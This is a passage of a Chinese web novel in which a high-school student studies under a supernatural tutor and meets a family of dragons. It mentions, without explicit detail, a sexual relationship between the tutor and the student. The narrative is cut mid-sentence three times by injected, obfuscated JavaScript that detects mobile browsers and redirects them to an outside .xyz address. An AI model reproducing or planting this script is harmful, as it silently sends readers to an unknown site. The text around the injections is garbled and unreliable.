施霜景坐在地上玩了一会儿猫,罗爱曜说得没错,一回家就想玩猫!真是受不了!玉米太迷人了,太可爱了,太治愈了,不玩一下都对不起施霜景把他养得这么好,肚皮上的原始袋肥肥软软,那么好摸。 临到点要上楼晚自习,施霜景收拾了桌面,捆好今天的厨余垃圾,准备下楼扔个垃圾再上楼,就让罗爱曜先去自习室。 他们小区虽老,垃圾管理一直做得不错,小区里有三个小型垃圾堆放点,修成了像是水泥站子一样,垃圾都捆成袋扔进去,也就是下楼走个几十米的功夫。施霜景下楼散散心,冬天虽冷,可楼上自习室有空调,刚刚又吃过晚饭,施霜景是血气方刚男高中生,就得出来散散脑子里的热气。 忽然,他听见了行李箱滚轮的声音。顺着路灯看去,施霜景看见一位英俊的男人推着小行李箱走来,眼睛数着楼面的单元号。 一种奇怪的预感蔓延开来。施霜景扔完垃圾,转身走回,找着自家的楼门。滚轮声响着响着便停了,施霜景下意识回头,发现男人步伐很大,手拎起了行李箱,也是走往这一方向。施霜景进楼,未过几秒钟,第二重脚步声亦响起。 一口气上到四楼,自习室的门虚掩着,施霜景打开来,正好换鞋。后脚男人就到了,竟然也是四楼,只不过停在了对面那间。施霜景这才意识到,这人来找的是郎放。 男人还未敲门,对面的房门忽然从内打开,小女孩尖叫一声,跳到来人怀里,施霜景正好看见郎放和男人夹着女儿来了个亲密的拥抱。 施霜景猛地关上门。适逢罗爱曜走出来,施霜景无言地手指了指门外,表情非常奇怪,可他知道不能在门口说,这房子隔音差得很。施霜景只能走到罗爱曜跟前,压到几乎蚊子声,“对面来的人……是小女孩的爸爸,呃,另一个爸爸吗?” 施霜景的表情像是第一天看见同性恋似的。哎,也不是什么奚落或是贬低的表情。与其说是第一天看见同性恋,不如说是对这种一家三口的画面感到陌生。有种微妙的尴尬感,但不知道在尴尬什么。 罗爱曜只是抬了抬眉毛,不接茬。施霜景好像有点了解罗爱曜的表情了。说不定这就是罗爱曜脑瓜子转得飞快的表情之一。 48.副作用 一晚上学物理,学得非常不怎么样。当初施霜景中考没能进市里的普通高中,就差在物理和数学上,从初二起物理就没怎么学懂,可偏偏高考物理实打实占了一百一十分。施霜景很早就听不懂物理概念了,仿佛是数学再加上方向,是平面又立体、理论又实际的。施霜景没有那个想象力。罗爱曜今天为施霜景上物理衔接课,一整天快要过完了,施霜景稍稍对着写满了笔记的活动黑板发呆,心想:罗爱曜虽是叫做佛子,可他写起这些符号、字母一点都不违和。他难道之前真的没学过这些吗?恐怕还是有些数理基础的,毕竟中国古代也有数学不是? 大约九点钟时,罗爱曜再次从办公室里出来,是为了收作业。施霜景忽然心惊。他知道罗爱曜收作业的意思是真的要检查他的进度,也就是施霜景真的要为自己写下的每一个答案承担责任。施霜景手忙脚乱道:“我还没写完!都只是例题就行了吗?呃,生物也要吗?数学还差几道题,物理刚开始写,化学还没开始。佛子,作业不都是第二天才交吗?” “那你准备熬夜写?” 施霜景额前渗出冷汗,自己写作业低效率的事被发现了,“对。” 罗爱曜绕过施霜景写作业的餐桌,去厨房烧热水泡茶,边说道:“你得加快速度。你们学校的晚自习是九点半结束,现在已经快要到下课时间。我每天给你留足了自习的时间,作业没有那么难,写错了我会来讲,但是你不能磨磨蹭蹭。你能熬多少夜?每天熬?而且我还让你每天拿一道数学题来问我,今天的题呢?” “这道……?”施霜景翻出数学书,他虽然没做完,但是他毕竟浑水摸鱼了三年,知道题目的难度按照例题的顺序排布,他就随手指了一道自己还没有写但一看就比较难的题。 没曾想换来的是罗爱曜的一个脑瓜崩,弹得施霜景眉心发红,当即双手捂住眉心,说不出话来。 罗爱曜冷脸道:“你做了吗?” “……” “不要浪费我的时间。”罗爱曜这回果真用了拍西瓜的姿势拍了拍施霜景的脑袋,“先用你的脑子处理一遍,至少把题目读了,像你们这些学生常说的那样,把解字写了——明早你能交上这些作业吗?” 施霜景垂下脑袋,乖顺地点点头。罗爱曜这才回厨房拿了茶杯,回到他的房间。 刚才的冷脸真是将胁迫感拉满了。施霜景毕竟是中国人,对老师这一身份有着天然的畏惧。而且罗爱曜怎么会连语气都那么像?施霜景不敢再摸鱼,学着罗爱曜,去厨房泡了一杯茶,平日里施霜景从来不喝这玩意,今天他为了提神,拼了! 这一晚施霜景一点钟才收工,写完作业的时候,罗爱曜早就下楼去了。布局熟悉却心理上陌生的自习室很静很静,空调的热气沉不到脚上,施霜景稍稍有些脚冷,可脸被暖风烘得略微干燥、发着热。施霜景合上化学书,忽然觉得有些胸闷,不知道是不是因为空气不大流通,施霜景从木椅上起身时忽然感到轻微的头晕,等眩晕劲过去之后,胸闷感更加强烈,胃部也开始不适起来,施霜景扶着墙进了卫生间,想吐却又吐不出,胸口发酸,难受得身上直冒冷汗。他在卫生间里缓了十多分钟才感觉好一点,这才拿上手机下楼回家。 第二天早上的闹钟依旧是六点,施霜景一睁眼就感觉胃里还是不舒服,这回他冲进家里的卫生间,呕出的只有酸水。浑身不舒服,胃不舒服,胸不舒服,肚子也难受,感觉还是前天晚上做得太狠了的缘故。施霜景坐在浴室冰凉的瓷砖地上,在心里骂自己是个脆皮货色。他每次生病的时候都会骂自己,嫌自己给自己添了麻烦。好不容易走上正轨,偏偏身体叫人失望。 罗爱曜被这动静弄醒,不如说其实罗爱曜从昨天开始就只是假寐了,保持着睡觉的状态,但他的法身一直在外活动,神思也还敏捷。这场景很熟悉,施霜景在浴室里,罗爱曜走进来。罗爱曜看了看就知道发生了什么,用漱口杯给施霜景接了水,让他涮涮嘴,“你吃避孕药之前不看说明书吗?” 施霜景嘴里含着水,不好回他,将水吐进马桶里又让他也想吐了,一时间也就没说话。 原来是紧急BY药的副作用。这天大的冤枉也说不出口来。罗爱曜对施霜景说过他其实不用吃的,只不过施霜景不信,想要双重保险。 “很难受?今天要不要给你放一天病假?” “……不用。” “作业都写完了?” “写完了。” 罗爱曜摸了摸施霜景的头顶,又拉他站起来,施霜景有些摇摇晃晃站不稳,罗爱曜就拉近他,搂住他肩膀,略略摩挲几下施霜景的手臂,有点想帮他治好,又有点不爽他不听自己的话。紧急BY药会导致激素紊乱,谁也说不准到底会难受几天。 昨天做完,罗爱曜如梦方醒,这种体验于他而言很稀有,仿佛一句笃定的结语就要从嘴里流出来,像宣判——施霜景一定会怀上他的孩子。罗爱曜追到浴室,为施霜景做清理。他的孩子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466406|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前罗爱曜有短暂地质疑过,他是不属于这个世界的存在,应该与施霜景也不会结出花果,这既不佛国,也不地狱。可这预感降临,否定了罗爱曜的质疑,甚至虚虚一指,就是这个人了。那分钟不论罗爱曜表面上如何反应,心里都乱如混沌。就是这个人了。 “回房间躺一躺,八点再起床。” 罗爱曜还是替施霜景治了。他希望施霜景从此能知道,BY药不要乱吃,会不舒服。他也希望自己从此能知道,要想享受无套的快乐,他得负起责任。罗爱曜不想要孩子。施霜景也不想要孩子。能达成共识是很难得的。 施霜景没拒绝,回房间补了两小时的睡眠。在此期间罗爱曜上楼改完了施霜景的作业,这时他见到了对面新来的另一位父亲。 这位父亲早上去扔完垃圾,回来顺便去了菜市场,买了食材和热豆浆,要回家给妻女包馄饨当早餐。他没想这么早找罗爱曜,罗爱曜却想找他,两人就在楼道碰上面了。 “有事?”男人问。 罗爱曜道:“谈谈?” “不谈。我要给老婆孩子做早餐。”男人举起手里的菜以作示意。 “国界里只剩你们两条龙了吗?”罗爱曜问。 沉默。不知道该怎么回答的沉默。人外对人外的沉默。 “我女儿今年六岁,至少这六年来我没有找到过其他的龙。”男人道,“先让我把手里的菜放回去。你是佛子,我知道,我老婆跟我说了,我们之间还有账要算。不过我老婆说你在搞高中生,这合理吗?”说完,男人将钥匙插进锁孔,开门,进家。沉默传给了罗爱曜。 这合理吗?这是什么问题?罗爱曜不至于被反问到生气,但刚才那男人的语气怪让人不舒服的。关他屁事? 又过了大约半小时,施霜景已经来到自习室准备找状态了,自习室的门被人敲响,施霜景开门,发现是昨天在楼下遇见的男人,预计是郎放的伴侣,小姑娘的爸爸。 “啊,那个高中生。你吃馄饨吗?”男人问。 罗爱曜打开办公室的门,男人已经在对施霜景作自我介绍了。 “我叫蒋良霖,良好的良,雨字头一个树林的林,是郎放的爱人。郎放和小鼓有跟我提过你,还有佛子。佛子来了,那一起来我家吧,馄饨包太多了,我们吃不完。” 施霜景还没来得及望向罗爱曜,就感觉背后被人推着走。罗爱曜和施霜景大咧咧地进了郎放家。 这下真成炼蛊了。 49.旧日幸存者篇(一) 大抵是因为家里养了孩子,郎放家的暖气温度开得更高,他们夫夫俩穿短袖,女儿则是穿一条长袖单裙也不冷。施霜景扯了扯卫衣领口,胸口还是闷闷的。他怕自己又吐,连早餐都没吃就上楼来了。这倒是赶巧来别人家吃早饭。 “来厨房看看馄饨大小,给你下馄饨。”蒋良霖招呼施霜景,这欢迎的劲儿有些蹊跷,施霜景看向罗爱曜,罗爱曜无所谓地朝他摆摆手,任他去。郎放和蒋念琅坐在餐桌前,碗里的馄饨还剩一半,显然是吃早餐吃到中途。小姑娘不大饿,三心二意地吃着馄饨,眼神跟着施霜景走。 馄饨的个头算中等,不是指甲盖馅料,也不是大肉馄饨,大概就是西南地区常吃的抄手大小。厨房里调料香与馄饨香结合在一起,勾起了施霜景的食欲,蒋良霖问他想吃多少,施霜景说:“大概是店里的中碗份量?我不知道中碗有多少个。” “哈哈,我也不知道。给你煮十五个吧。” 施霜景连忙摇头,“我早上吃不了那么多,少一点。” “十五个不多啊。你还是高中年纪,不正应该是吃得最多的时候吗?” “我最近在吃药。” “什么药?” 这可不大方便讲了。施霜景闭嘴。蒋良霖见施霜景不答,也不追问,给施霜景下了十五个馄饨,又兀自给罗爱曜煮了十五个,一视同仁。施霜景也看出来了,蒋良霖哪是包多了馄饨才让他们过来,分明就是找个最拙劣的邀餐借口,煮了两个人的份量,剩下的沾了面粉的生馄饨还多得像会自体繁殖,蒋良霖将它们一个个码进冰箱冷冻层,咕哝道:“郎放和小鼓饿了就可以自己煮来吃。” 不知为何,施霜景忽的有些眼热。昨天见到他们一家三口团聚的画面,没来由地犯尴尬。今天一家三口邀他来吃馄饨,一进门扑面而来的究竟是暖气还是家庭的温馨,施霜景分不明白。施霜景想起施楼庭了,尽管他爸爸不如蒋良霖那么会做爸爸。原来两个男人组成的伴侣家庭是这样的。其实施霜景也不大清楚主流异性恋家庭该是什么模式,但好像大多数人都对温馨的家庭没有概念,每家关上门来都有每家特色的冷漠、分离、争吵、厮打、背叛和谎言。说不定郎放家也有。但至少这一刻施霜景很羡慕他家的家庭氛围。 施霜景离开厨房,在罗爱曜身旁落座。郎放也颇为懒洋洋地吃着早餐,他不是多话的人。小女孩将碗里的馄饨一个个囫囵吃完,跳下椅子,绕到施霜景身后,用手指戳戳施霜景的后背,施霜景回身,小女孩就跑开。一来二去,施霜景才发觉这小姑娘是在逗自己玩。 “我叫蒋念琅。”小女孩玩够了,微微鞠躬,忽的礼貌起来,作自我介绍。 “我叫施霜景。” “你身上的诫文变成金色了,好漂亮呀。” 施霜景想起来了。蒋念琅和郎放都能看见他身上描的佛子诫文。施霜景点头同意,金色确实比黑色好看得多。 “你离施霜景远一些。他是人类。”罗爱曜忽然出声,许是为了解释给施霜景听,罗爱曜补充道,“龙气伤人,她还不大会控制。” “……” 虽然是实话,但蒋念琅听了不高兴,想去踢罗爱曜的椅子一脚,幸好被郎放带走了。郎放说:“小鼓,离佛子远一点,他很危险。” 气氛有些紧张。施霜景夹在中间,感觉场景既危险又滑稽的。客厅地板上摊开一张很大的画纸,上面堆着长长短短的油画棒,半成品画作极其绚烂美丽,蒋念琅被郎放带回画纸前,把小姑娘打发去继续画画了。 郎放将他和女儿的碗收进厨房,顺便洗碗。施霜景微妙地挠了挠脸侧,轻声问罗爱曜:“他们到底要干嘛?有事找你?还是要来和你算账?” “为什么都说要和我算账?”罗爱曜也莫名其妙的,“我又没动过他们母女。” 二人身后突然传来声音:“你和郎放斗法的时候有没有想过,我家小朋友一直在旁边观战?不论结果如何,影响很差!”蒋良霖端着两碗馄饨出来,放在施霜景和罗爱曜面前。施霜景忽然担心蒋良霖往馄饨里下毒,蒋良霖适时说道:“吃吧,没毒。” 怎么又来一个会读心的?施霜景一惊。但其实是施霜景的表情太直白,看来平时做面瘫自有其道理。都让别人读懂了还了得? 馄饨是清汤,可桌子上有装红油的小瓦罐,施霜景喝了几口馄饨汤,发觉是鸡汤馄饨,就不舍得往碗里加红油了。蒋良霖也端出自己的那碗,坐到二人对面。郎放洗完碗擦干手出来,坐在蒋良霖身旁。 四人会晤。 罗爱曜秉持着不吃白不吃的态度,品尝蒋良霖的馄饨,从表情上看不出他喜欢还是不喜欢,只不过吃了三四个就放下汤勺,不再吃了。罗爱曜回复道:“郎放来我面前丢人现眼的时候也该想想,他正带着个孩子。” “吉祥话那次你没占着好处。”郎放加入舌战。 “鬼子母神仪式上你朝我磕了头,随便磕着玩的?”罗爱曜无所谓道。 蒋良霖听不下去,“你到底是哪来的佛子?我查典籍、岩窟壁画、拍卖珍藏,一路查过去,好像都没你这号人物。要不是郎放博学多闻,接触面广,他估计都不知道你到底是什么东西。” “笑话。我的画像、佛像、或是法器都因为我还在世而威力无穷,都收在我库里,你要怎么查?”罗爱曜施施然道,“何必有书面记载?一记下来就任人打扮了。” “你在找龙,找到小鼓头上,我不出面不合适吧?”蒋良霖说。 “你不请自来,倒是急切。”罗爱曜哂笑。 施霜景这顿馄饨吃得好堵心。他感觉自己也应该下桌,去和蒋念琅一起画画…… 桌上忽然递过来一条精心编织的红绳,正中挂了一枚哑铃铛。施霜景看向郎放,后者说:“送你的,清心铃,祝你考试顺利。” “谢谢!”施霜景赶紧接下,被罗爱曜乜了一眼,可他不出声,施霜景就当不知道,当即就戴在了左手手腕上。关于考试的,多多益善! 蒋良霖端正了态度,不和罗爱曜针尖对麦芒了,他说:“我原本该带郎放和念琅回H市,D市的跨洋班机太少,交通不方便。有几件事挡在我们这里,我相信你也清楚。一是你惦记龙王护法的事,像你早上所问的,只剩我们两条龙,其他的类龙神话生物,我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466407|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能确认他们会有跃入龙门的机会,而且就‘纯粹的龙’这一概念而言,我都不如我女儿。我毕竟算是复原产物。我想这可以促成一些合作,我们不必打起来。另一件事则有些……我个人认为,这件事让我心里不大舒服,郎放的感觉比我更明显。” 蒋良霖打开手机,点出一个隐藏相册,里面全是油画和雕塑。蒋良霖点开第一张,将手机递给罗爱曜,示意他可以往后翻。 “这些画和雕像都是郎放创作的,他其实有艺术家的工作。别看他管闲事管到你们头上,其实他的雕塑最近在纽约苏富比和伦敦佳士得已经可以拍到三十万美金了。现在这套雕塑作品已经卖了出去,但这一系列都是一个创作主题。”蒋良霖说,“大概是去年这时候,郎放经常梦见某个沙漏意象,还有……不能算是‘新世界’的缤纷世界,我会更认为这种缤纷色彩像意识层面的污染,世界是旧世界,是与现在的时间、空间所重叠的旧时空……好吧你自己看。还有一些画和雕塑是分娩与夭折的意象。沙漏碎掉了。中间最细的地方终于断掉了。” 施霜景完全听不懂蒋良霖在说什么。到底谁是艺术家?创作这些作品的郎放反而不说话,轻轻咬着下嘴唇。 罗爱曜肃然,手指划过所有照片,再倒回来,最后有重点地放大了几张的细节。依旧是没说话。此刻的沉默终于不是嬉笑或是尴尬的沉默,而是沉思静默。 郎放说:“我本来应该和小鼓待在H市等良霖出差回来,但这次我抓住了梦的线索。我觉得应该至少是在……这个省,甚至可能是D市。我还在等预兆。” 施霜景凑过脑袋去看罗爱曜手上的照片,被罗爱曜大手挡脸,罗爱曜提醒道:“别看,会做噩梦。” 开什么玩笑?自从罗爱曜来他家,施霜景就再没做过梦了。施霜景不仅被罗爱曜的手挡了脸,整个人也像是被挡在门外了似的,他有些不服气地说:“这个家里现在已经有一个佛子和两条龙了,为什么郎放可以画,但我连看都不能看?” 蒋良霖挑眉笑道:“对哦,才发现家里只有你一个人类。” 施霜景惊惶地看向郎放。什么,你也不是人? 什么时候人类成了这么少数的存在了?什么时候往这个家里闭着眼开一枪,都有百分之八十的几率打中不是人的东西了?施霜景腾地站起身,麻木道:“我先回去自习了你们聊……” “馄饨怎么样?好吃吗?”蒋良霖还追问。 “好吃。” “好了,我看完了。”罗爱曜把手机递还回去,他说,“你的第二件事应该是求我。” 施霜景此刻有些错乱,下意识就接了罗爱曜的话:“为什么求你?” “因为我很强。而且我的规则比它的规则更严苛。” 罗爱曜也起身,扶住施霜景的手臂,打算跟他一起走。 “不是祈求,只是请求。”蒋良霖说。 “这家伙很擅长利用规则。走了。回去自习。”罗爱曜指了指蒋良霖,像是在教施霜景认准这个坏家伙,以后要避开。施霜景迷迷糊糊地被推来郎放家,又迷迷糊糊地被推回自习室。他真该去小孩那桌的。 50.旧日幸存者篇(二) 施霜景兢兢业业当高考生,这只是正经在家备考的第二天,因前一夜误服紧急避孕药和大清早得知自己是唯一的人类而……而怎么样呢?又被罗老师骂了。 “你抄这些单词给谁看?”罗爱曜敲了敲桌面,喊停施霜景,“光抄就能记住的话,你高中三年也已经抄过不少了。我从来没有听你在家里念过英语。” 早上背生物和英语,学生物比较像在听故事,什么脱氧核糖核酸、碱基对……英语就完全不行,完全不知道该从何下手。施霜景停笔,不知道怎么回罗爱曜的话,只能抬头看他,罗爱曜又说:“看我有什么用?读单词,记住读音,很多词语可以靠读音拼出来,靠声音来记忆会记得更牢固,之后背词汇用法的时候还可以培养出语感。我十一点来听写,第一单元和第二单元。” 施霜景说:“我不会念英语,没学懂过音标。” “要我给你买英文点读笔吗?” “……” 罗爱曜原本想让施霜景用手机放高中英语单词音频,视频网站一搜都有,可一瞥就瞥见施霜景桌上屏碎的手机——施霜景那光荣负伤的手机只剩三分之一的屏幕能显像,施霜景当做什么都没发生,继续使用着。罗爱曜只能从办公室里取出平板,调出视频,耐心道:“网上搜搜都有的东西,没那么难。我用英文给你听写,你能写多少算多少,先培养习惯。” 施霜景接过平板电脑,兀自插上耳机,不作声了。罗爱曜旁观两分钟,摘下施霜景的左侧耳机,“读出声来。” “我不喜欢读!”施霜景突然拔高音量,被人踩中尾巴似的,动笔写单词,记不住单词怎么写,忍不住要瞄平板屏幕,下笔全乱掉。罗爱曜杵在旁边让人很紧张,像是被老师陪考。 “我怎么教你就怎么学。” 施霜景心烦。他念英语有口音,读出来很蠢。他好像天生就没有学英语的细胞,早读的时候也不愿意出声。他有同学英语成绩糟糕,可念英语单词的时候就好听。施霜景喜欢唱歌,耳朵还算灵敏,这些笨拙的读音从自己嘴里发出的时候,施霜景就格外自卑。 施霜景不出声,罗爱曜就不走。施霜景最初抗拒,听了二十分钟,罗爱曜还没走,简直是一尊佛坐在这里,要不是罗爱曜会呼吸,施霜景都要以为罗爱曜是雕像了。尝试着张开嘴,先佯装随意地挤出几个音,用余光观察罗爱曜的表情——罗爱曜压根没给表情,施霜景这才渐渐壮起胆子,说出了自己的川味英语。跟着音频学了几个词,罗爱曜往后一退椅子,终于走了。施霜景松一口气,目送罗爱曜回办公室。 十一点的听写,好惨淡一片红。罗爱曜不多作评价,施霜景在内心里还挺感激罗爱曜的不评价。 下午一点,同城闪送敲响自习室的门,施霜景开门,外送员确认施霜景的信息,递上包裹。施霜景不知道这是谁寄来的,备注上写:收件人可自行打开。施霜景找了剪刀划开快递盒,拆出一部新手机。 罗爱曜看施霜景这小葛朗台能一直拖着不换手机,索性帮他换了。施霜景打开办公室门,朝罗爱曜郑重道:“谢谢佛子,我需要给你转账吗?” “不需要。” 这次不需要。下次也不需要。罗爱曜想,这小孩一天到晚替人省钱,是善解人意也是有点做作。罗爱曜真的不缺这点钱。 晚饭时候,施霜景突然收到了刘奶奶的消息。 流水席那天,结束后刘茜特意找过施霜景,说:“小景啊,这几天我估计还得忙一阵,你不用往福利院跑,我们大家都没事。等我收拾好了,我会找你的,等奶奶的好消息。”既然刘茜这么说,施霜景就不纠结了,心想至少要给刘奶奶和新鬼子母神留一周吧,没想到这才两三天就腾出时间来找他了。 青花瓷:[保温桶图片] 青花瓷:今天晚上给孩子们炖了猪蹄,给你先装了一份。你在家吗?我给你送来 青花瓷:我和莫五娘都好。我给她搭了个小神龛,在我的房间里 青花瓷:[神龛图片] 一剑霜寒:奶奶,你不害怕吗? 青花瓷:有什么可怕的?是神仙又不是妖怪 一剑霜寒:好吧 一剑霜寒:我已经吃过晚饭了,奶奶 青花瓷:当夜宵呗 青花瓷:我今天去了市民政局和残联,白院长失踪之后福利院要关一阵子,补贴可能会打到我的卡里,其实这些杂七杂八的补贴还挺多 青花瓷:你还在上学,我和市民政局商量过了,每个月还是要多给你发点补贴 青花瓷:我算过补贴和院里孩子的数量,他们就算像你一样晚读书也没关系,攒一攒钱就能供得起 青花瓷:[200元红包] 青花瓷:你要想回来吃饭、睡觉,随时跟奶奶说,床铺都是现成的,回来就能睡 一剑霜寒:…… 一剑霜寒:奶奶,我不用,真的 一剑霜寒:[退款截图] 一剑霜寒:我之前的补课费已经退给我了,好几千,够我生活到高考了 青花瓷:怎么退了补课费呢?唉,不过这钱也不该你出…… 一剑霜寒:佛子给我补课 青花瓷:佛子吃猪蹄吗? 一剑霜寒:不知道 打开的保温桶,舀了两大碗猪蹄,刘茜一边看罗爱曜脸色一边洒葱花,罗爱曜注视这猪蹄好一会,推开了,“我不吃。” “我吃。一会我盖上保鲜膜放回冰箱,明早下面条吃。”施霜景将罗爱曜的碗拖到自己面前。 刘茜确实想找机会来看看施霜景的生活环境。不管是不是莫五娘上她的身,总之刘茜是通过自己的耳朵听见了罗爱曜和施霜景已经上过床的事实。这还是太超过了,换任何一个年轻人来,刘茜都忍不住上去教育两句的,但谁让这人是佛子。刘茜知道施霜景的身体情况,虽没有刻意当成女儿养,但难免会多注意些。 施霜景认真啃猪蹄中,没注意到刘茜的复杂脸色。 “既然你和佛子住,那我就不让何晓栋来找你了,他住回福利院也是一样的。”刘茜道。何晓栋是之前她提过的另一位离开福利院的大孩子,年底要来厂里面试工人的工作。 刘茜不提,施霜景都忘了这回事。他点头,“正好我要好好学习,我每天的课程表都很满,没办法招待他。” “小景的学习怎么样?”刘茜终于找到机会和罗爱曜搭话。 罗爱曜说:“尽力而为吧。” 这语气活像老中医下免责声明,可惜施霜景一点听不出来,还煞有介事地附和道:“我会努力的。” 刘茜揉了揉太阳穴,施霜景这孩子挺好,心里不装事。 上学的日子如此机械,上午、下午、晚上的分界就像只按停了三回倒计时键。考试也是如此。上午按倒计时,下午按倒计时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466408|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一天,两天。月考、模考、高考都是如此。 这次的月考当然也是砸了。施霜景考得两眼一黑,知识在他脑子里流过,如此清澈不留痕。 自从施霜景不用去学校,他就不怎么背书包了。月考前一天晚上,施霜景整理书包时,发现流水席那天他用来痛击卐人的金刚杵还静静躺在书包里。金刚杵入手沉甸甸,冰冰凉,很有心理上的安全感。施霜景干脆把金刚杵当心理安慰物,就此留在书包里了。说到真正有用的安慰物,脖子上那根青金石念珠倒是被施霜景忘了个一干二净。 月考完这天,难得冬日天晴,蓝天白云,下午了还阳光斜照的。施霜景好不容易回一趟学校,跟同学一起做了大扫除,扫除完之后大家又提议去吃串串,校门前的串串车搭了红色的遮阳棚,车上划了十几个格子,沸滚着各色串串。 施霜景跟在男孩的队尾,他听不懂同学们的话题,什么DOTA什么明星,什么球赛什么球鞋,施霜景纯去做气氛组。有同学看出施霜景换了新手机,正好之前没机会问施霜景他那男模舅舅的事,男孩们将施霜景围在中间,给他递串也递话。 “你老舅真跟演短剧似的,‘有一天我妈妈的弟弟突然找上门告诉我我是亿万富翁’……”嘴欠的男同学已经开始学短剧AI腔,揶揄施霜景。施霜景用筷子调开蘸料,拿了两串吸饱汤汁的豆干,垂着眼用筷子将豆干划进碗里,不搭腔。 “你不会真的是富豪来着吧?” 施霜景说:“不是。” “那你手机贼好啊,新上的,PRO MAX呢。” “老舅送的。”施霜景咬一口豆干,满嘴咸香的卤汁,好喜欢。 “就说你老舅是富豪了吧,那他咋不把你接去市里呢?哦我知道了,转学籍不好转,对不对?你在D市哪家机构补课?推荐一下呗。” 施霜景说:“我在家学。” “……家教!一对一!” 是也不是吧。施霜景一开始就没想解释。男同学有意给施霜景递话,施霜景不接,同学们也就渐渐失去兴趣。白天出没的这帮男生比晚上出没的另一帮男生要正常,家里舍得给零花钱,最多口嗨一下,不会找施霜景要钱请客,所以施霜景才愿意和他们出来。男生撺掇施霜景下手机游戏,说他换了新手机应该不会卡顿了,同学带他上王者。施霜景没能拒绝,反正同学邀他打游戏他就说自己在补课。他本来就在补课。 罗爱曜变成“罗老师”之后,施霜景是真的开始怵他了。有时罗爱曜从施霜景身后经过,施霜景都会觉得心脏一顿一顿的,紧张、堂皇,有时候心跳过快还会流汗。 想谁谁就出现。施霜景正放空地吃肉圆串串,眼前机车动静,只见罗爱曜久违地作机车装扮飞驰而过,大家只下意识地看向这鬼火小子,没认出这位正是施霜景的“舅舅”。施霜景举着串串,有点傻眼。不知为何,他总觉得罗爱曜一骑机车出现就没好事! 罗爱曜看见了。 虽然只是最细微的一瞬,罗爱曜彼时正在“备课”,专心致志地盯电脑。在感应到的那一刻,罗爱曜抬头,仿佛看见了天际忽然闪现的折射的通道,刚出现那一刻呈漏斗形,随即曲折变幻了。郎放的画作和雕像非常写实,就是这样的东西。 如果施霜景关闭手机的专注模式,他就会看见罗爱曜的留言。 “如果我今晚十点前没有回来,你就去郎放家。” 51.旧日幸存者篇(三) “啊,是小景。”蒋良霖打开门,疑惑道,“怎么了?有事吗?” 什么情况?不是罗爱曜给施霜景留言说他如果晚上十点没回家,就让施霜景去郎放家么?施霜景默默退后半步,纠结半秒,重复了罗爱曜的留言。蒋良霖虽摸不着头脑,但他很自然地迎了施霜景进去,郎放正在洗澡,家里的小姑娘在玩《舞力全开》,跳得满脑袋热汗。 好温暖的场景,好格格不入的施霜景。施霜景略有拘束地坐上沙发,家里的茶几给推到一旁,给蒋念琅空出玩舞蹈游戏的空间。蒋念琅还挺喜欢施霜景,剩下半首歌也不跳了,装好另一边手柄递给施霜景:“哥哥一起来跳!” “我不会。”施霜景忙不迭拒绝了,又问蒋良霖:“有点晚了,这样楼下不会有意见吗?” 蒋良霖:“楼下不就是你家吗?你刚才应该在对面的自习室吧?” “哦,哦……”忘了这一茬。 “跳呗,就当自己家,随便玩。你吃过晚饭没有?”蒋良霖坐回餐桌,他的两台电脑都打开了,正在处理工作。 “吃过了。不好意思这么晚还来打扰你们。”施霜景看出蒋良霖的摸不着头脑,施霜景何尝不也是这样呢?“我不知道佛子什么时候回来,我坐一会就走,佛子问起好交差。”施霜景说道。是的,就当刷脸了。佛子这人阴晴不定,最好还是听他指挥,以免触他霉头。 “没事,小鼓无聊惨了,你可以经常过来陪陪她。这小东西可挑人了,你和她应该挺有缘的。” 不敢有缘。施霜景想,我怎么尽和你们这些非人生物有缘啊。难道我也有什么隐藏身份?就像郎放之前说的,施霜景好像有学这些乱七八糟东西的天分。施霜景对蒋念琅的小名好奇,就问了一下,蒋良霖解释道:“小鼓的鼓是打鼓的鼓,有点奇怪吧?我这样跟你解释就好懂了——你知道我国神话里有一条著名的龙叫烛阴么?烛阴的龙子叫鼓龙。” 施霜景觉得自己好像有点听不懂中文。上次他们聊到罗爱曜缺条龙做护法,他好像就看中了蒋念琅。什么意思?蒋念琅是鼓龙?那蒋良霖不就是烛阴了?施霜景再次傻眼,悄悄拧了一把自己的大腿,是疼的。 蒋良霖哈哈大笑,摆手说道:“我懂,我懂,真的很怪,别把我当龙,我自己都不大接受这个身份。我之前一直都是被当成人类养大的,就算知道了新身份,我还是几年都不会化一次龙。小鼓是货真价实的龙,她很熟练,但她有时候不大能控制她的龙气……龙气就是一种对人类有影响的能量,今天我们还在给小鼓上装置呢,她确实不能老这样,龙气控制不好会伤人。” 